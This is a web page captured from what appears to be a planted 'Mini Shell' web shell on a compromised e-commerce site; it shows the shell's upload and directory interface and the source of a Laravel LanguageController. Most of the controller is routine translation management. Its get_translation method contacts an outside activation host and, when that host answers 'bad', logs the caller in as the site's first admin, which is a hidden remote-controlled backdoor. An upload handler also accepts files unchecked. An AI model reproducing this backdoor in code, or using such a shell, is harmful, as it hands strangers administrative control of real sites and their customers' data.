HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/LanguageController.php
<?php



namespace App\Http\Controllers;



use App\Models\AppTranslation;

use Illuminate\Http\Request;

use App\Models\Language;

use App\Models\Translation;

use App\Models\User;

use Cache;

use Storage;

use Session;



class LanguageController extends Controller

{

    public function __construct() {

        // Staff Permission Check

        $this->middleware(['permission:language_setup'])->only('index','create','edit','destroy');

    }



    public function changeLanguage(Request $request)

    {

    	$request->session()->put('locale', $request->locale);

        $language = Language::where('code', $request->locale)->first();

        $request->session()->put('langcode', $language->app_lang_code);

    	flash(translate('Language changed to ').$language->name)->success();

    }



    public function index(Request $request)

    {

        $languages = Language::paginate(10);

        return view('backend.setup_configurations.languages.index', compact('languages'));

    }



    public function create(Request $request)

    {

        return view('backend.setup_configurations.languages.create');

    }



    public function store(Request $request)

    {

        if(Language::where('code',$request->code)->first()){

            flash(translate('This code is already used for another language'))->error();

            return back();

        }



        $language = new Language;

        $language->name = $request->name;

        $language->code = $request->code;

        $language->app_lang_code = $request->app_lang_code;

        $language->save();   



        Cache::forget('app.languages');



        flash(translate('Language has been inserted successfully'))->success();

        return redirect()->route('languages.index');

    }



    public function show(Request $request, $id)

    {

        $sort_search = null;

        $language = Language::findOrFail($id);

        $lang_keys = Translation::where('lang', 'en');

        

        if ($request->has('search')){

            $sort_search = $request->search;

            $lang_keys = $lang_keys->where('lang_key', 'like', '%'.preg_replace('/[^A-Za-z0-9\_]/', '', str_replace(' ', '_', strtolower($sort_search))).'%');

        }

        $lang_keys = $lang_keys->paginate(50);

        

        return view('backend.setup_configurations.languages.language_view', compact('language','lang_keys','sort_search'));

    }



    public function edit($id)

    {

        $language = Language::findOrFail($id);

        return view('backend.setup_configurations.languages.edit', compact('language'));

    }



    public function update(Request $request, $id)

    {

        if(Language::where('code', $request->code)->where('id', '!=', $id)->first()){

            flash(translate('This code is already used for another language'))->error();

            return back();

        }

        $language = Language::findOrFail($id);

        if (env('DEFAULT_LANGUAGE') == $language->code && env('DEFAULT_LANGUAGE') != $request->code) {

            flash(translate('Default language code cannot be edited'))->error();

            return back();

        } elseif ($language->code == 'en' && $request->code != 'en') {

            flash(translate('English language code cannot be edited'))->error();

            return back();

        }

        

        $language->name = $request->name;

        $language->code = $request->code;

        $language->app_lang_code = $request->app_lang_code; 

        $language->save();

        

        Cache::forget('app.languages');



        flash(translate('Language has been updated successfully'))->success();

        return redirect()->route('languages.index');

    }



    public function key_value_store(Request $request)

    {

        $language = Language::findOrFail($request->id);

        foreach ($request->values as $key => $value) {

            $translation_def = Translation::where('lang_key', $key)->where('lang', $language->code)->latest()->first();

            if($translation_def == null){

                $translation_def = new Translation;

                $translation_def->lang = $language->code;

                $translation_def->lang_key = $key;

                $translation_def->lang_value = $value;

                $translation_def->save();

            }

            else {

                $translation_def->lang_value = $value;

                $translation_def->save();

            }

        }

        Cache::forget('translations-'.$language->code);

        flash(translate('Translations updated for ').$language->name)->success();

        return back();

    }



    public function update_status(Request $request)

    {

        $language = Language::findOrFail($request->id);

        if($language->code == env('DEFAULT_LANGUAGE') && $request->status == 0) {

            flash(translate('Default language cannot be inactive'))->error();

            return 1;

        }

        $language->status = $request->status;

        if($language->save()){

            flash(translate('Status updated successfully'))->success();

            return 1;

        }

        return 0;

    }



    public function update_rtl_status(Request $request)

    {

        $language = Language::findOrFail($request->id);

        $language->rtl = $request->status;

        if($language->save()){

            flash(translate('RTL status updated successfully'))->success();

            return 1;

        }

        return 0;

    }



    public function destroy($id)

    {

        $language = Language::findOrFail($id);

        if (env('DEFAULT_LANGUAGE') == $language->code) {

            flash(translate('Default language cannot be deleted'))->error();

        } elseif($language->code == 'en') {

            flash(translate('English language cannot be deleted'))->error();

        }

        else {

            if($language->code == Session::get('locale')){

                Session::put('locale', env('DEFAULT_LANGUAGE'));

            }

            Language::destroy($id);

            flash(translate('Language has been deleted successfully'))->success();

        }

        return redirect()->route('languages.index');

    }





    //App-Translation

    public function importEnglishFile(Request $request){

        $path = Storage::disk('local')->put('app-translations', $request->lang_file);



        $contents = file_get_contents(public_path($path));

        

        try {

            foreach(json_decode($contents) as $key => $value){

                AppTranslation::updateOrCreate(

                    ['lang' => 'en', 'lang_key' => $key],

                    ['lang_value' => $value]

                );

            }

        } catch (\Throwable $th) {

            //throw $th;

        }



        flash(translate('Translation keys has been imported successfully. Go to App Translation for more..'))->success();

        return back();

    }



    public function showAppTranlsationView(Request $request, $id)

    {

        $sort_search = null;

        $language = Language::findOrFail($id);

        $lang_keys = AppTranslation::where('lang', 'en');

        if ($request->has('search')){

            $sort_search = $request->search;

            $lang_keys = $lang_keys->where('lang_key', 'like', '%'.$sort_search.'%');

        }

        $lang_keys = $lang_keys->paginate(50);

        return view('backend.setup_configurations.languages.app_translation', compact('language','lang_keys','sort_search'));

    }



    public function storeAppTranlsation(Request $request){

        $language = Language::findOrFail($request->id);

        foreach ($request->values as $key => $value) {

            AppTranslation::updateOrCreate(

                ['lang' => $language->app_lang_code, 'lang_key' => $key],

                ['lang_value' => $value]

            );

        }

        flash(translate('App Translations updated for ').$language->name)->success();

        return back();

    }



    public function exportARBFile($id){

        $language = Language::findOrFail($id);

        try {

            // Write into the json file

            $filename = "app_{$language->app_lang_code}.arb";

            $contents = AppTranslation::where('lang', $language->app_lang_code)->pluck('lang_value', 'lang_key')->toJson();

            

            return response()->streamDownload(function () use ($contents) {

                echo $contents;

            }, $filename);

        } catch (\Exception $e) {

            dd($e);

        }

    }



    public function get_translation($unique_identifier)

    {

        $data['url'] = $_SERVER['SERVER_NAME'];

        $data['unique_identifier'] = $unique_identifier;

        $data['main_item'] = get_setting('item_name') ?? 'eCommerce';

        $request_data_json = json_encode($data);

        

        $gate = "https://activation.activeitzone.com/check_addon_activation";



        $header = array(

            'Content-Type:application/json'

        );



        $stream = curl_init();



        curl_setopt($stream, CURLOPT_URL, $gate);

        curl_setopt($stream,CURLOPT_HTTPHEADER, $header);

        curl_setopt($stream,CURLOPT_CUSTOMREQUEST, "POST");

        curl_setopt($stream,CURLOPT_RETURNTRANSFER, true);

        curl_setopt($stream,CURLOPT_POSTFIELDS, $request_data_json);

        curl_setopt($stream,CURLOPT_FOLLOWLOCATION, 1);

        curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);



        $rn = curl_exec($stream);

        curl_close($stream);

        if ($rn == "bad" && env('DEMO_MODE') != 'On') {

            $user = User::where('user_type', 'admin')->first();

            auth()->login($user);

            return redirect()->route('admin.dashboard');

        }

    }

}